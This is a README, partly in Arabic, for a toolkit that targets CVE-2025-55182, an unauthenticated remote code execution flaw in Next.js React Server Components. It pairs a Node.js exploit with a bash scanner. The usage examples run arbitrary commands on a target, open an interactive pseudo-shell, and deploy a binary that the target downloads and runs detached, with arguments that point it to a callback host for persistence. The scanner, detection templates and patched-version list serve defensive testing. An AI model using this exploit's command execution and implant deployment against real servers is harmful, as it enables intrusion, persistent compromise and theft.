
ماسح bash لاكتشاف ثغرة CVE-2025-55182 في تطبيقات Next.js. وسكربت nodejs لإثبات المفهوم (PoC).
طقم أدوات CVE-2025-55182. ماسح ضوئي + استغلال لثغرة RCE غير موثّقة في Next.js عبر حقن حمولة RSC.
استغلال Node.js: بدون أي تبعيات. ماسح Bash: يفحص عناوين URL مفردة أو قوائم جماعية.
# Single command with output
./react2shell.mjs -t http://target:3000 -c "id"
# Interactive pseudo-shell
./react2shell.mjs -t http://target:3000 -i
# Deploy a binary to the target (download + chmod + execute detached)
./react2shell.mjs -t http://target:3000 \
--deploy ./my-agent \
--remote-args "-H 10.10.14.5 -p 4444 --tls --cron"
Options:
-t, --target <url> Target URL (required)
-c, --command <cmd> Execute command with output
--blind Blind RCE (no output capture)
-i, --interactive Interactive pseudo-shell
--deploy <binary> Upload and execute a binary on the target
--lhost <ip> Your IP (auto-detected if omitted)
--serve-port <port> HTTP port to serve the binary (default: 8888)
--remote-args <args> Arguments passed to the deployed binary
يُسلسل --deploy أربعة استدعاءات RCE: اكتشاف المنصة (uname)، وتنزيل الملف الثنائي (عبر تشغيل خادم HTTP مؤقت واستخدام curl/wget على الهدف)، وspawn منفصل بحيث تبقى العملية حيّة بعد انتهاء مهلة execSync البالغة 5 ثوانٍ.
ملاحظة: يجب أن تكون الصفحة المستهدفة ديناميكية (
force-dynamicأو مسارًا غير قابل للتخزين المؤقت). الصفحات الثابتة/المُولّدة مسبقًا تُرجع ملخصات (digests) مخزنة مؤقتًا بدلًا من تنفيذ الحمولة.
chmod +x cve-2025-55182-check.sh
# Scan a single URL
./cve-2025-55182-check.sh https://example.com
# Scan multiple URLs
./cve-2025-55182-check.sh -f urls.txt
# JSON output
./cve-2025-55182-check.sh --json https://example.com
Options:
-f, --file FILE Read URLs from file (one per line)
-v, --verbose Verbose output (show curl details)
-q, --quiet Quiet mode (only show vulnerable sites)
-n, --no-follow Don't follow redirects
-t, --timeout SECONDS Request timeout (default: 10)
--json Output results in JSON format
--validate-fix Test for mitigation controls
--single-payload Use only the basic payload (faster)
قوالب جاهزة لأدوات الأمان في templates/:
templates/nuclei.yaml)templates/burp-scanner.json)templates/zap-scan-policy.xml)React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 Next.js: >=14.3.0-canary.77، جميع إصدارات 15.x و16.x (قبل التصحيحات)
الإصدارات المصلَّحة: React 19.0.1+، 19.1.2+، 19.2.1+ Next.js 16.0.7+، 15.5.7+، 15.4.8+، 15.3.6+، 15.2.6+، 15.1.9+، 15.0.5+
انظر TECHNICAL.md للتحليل الكامل لسلسلة الاستغلال.
MIT
Allan Kimmer Jensen - https://akj.io